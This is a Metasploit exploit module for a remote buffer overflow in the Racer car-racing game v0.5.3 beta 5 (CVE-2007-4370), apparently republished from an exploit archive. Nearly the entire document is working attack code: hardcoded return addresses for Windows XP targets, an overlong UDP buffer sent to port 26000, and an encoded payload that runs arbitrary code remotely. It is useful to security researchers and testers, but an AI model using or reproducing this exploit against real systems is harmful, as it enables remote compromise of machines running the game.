Racer v0.5.3 beta 5 Buffer Overflow

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Udp  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'Racer v0.5.3 beta 5 Buffer Overflow',  
'Description' => %q{  
This module explots the Racer Car and Racing Simulator game  
versions v0.5.3 beta 5 and earlier. Both the client and server listen  
on UDP port 26000. By sending an overly long buffer we are able to  
execute arbitrary code remotely.  
},  
'Author' => [ 'Trancek <trancek[at]yashira.org>' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
[ 'CVE', '2007-4370' ],  
[ 'OSVDB', '39601' ],  
[ 'URL', 'http://www.milw0rm.com/exploits/4283' ],  
[ 'BID', '25297' ],  
],  
'Payload' =>  
{  
'Space' => 1000,  
'BadChars' => "\x5c\x00",  
'EncoderType' => Msf::Encoder::Type::AlphanumUpper,  
},  
'Platform' => 'win',  
'Targets' =>   
[  
# Tested ok patrickw 20090503  
[ 'Fmodex.dll - Universal', { 'Ret' => 0x10073FB7 } ], # jmp esp  
[ 'Win XP SP2 English', { 'Ret' => 0x77d8af0a } ],  
[ 'Win XP SP2 Spanish', { 'Ret' => 0x7c951eed } ],  
  
],  
'DisclosureDate' => 'Aug 10 2008',  
'DefaultTarget' => 0))  
  
register_options(  
[  
Opt::RPORT(26000)  
], self.class)  
end  
  
def exploit  
connect_udp  
  
buf = Rex::Text.rand_text_alphanumeric(1001)  
buf << [target.ret].pack('V')  
buf << payload.encoded  
buf << Rex::Text.rand_text_alphanumeric(1196 - payload.encoded.length)  
  
udp_sock.put(buf)  
  
handler  
disconnect_udp  
end  
end  
`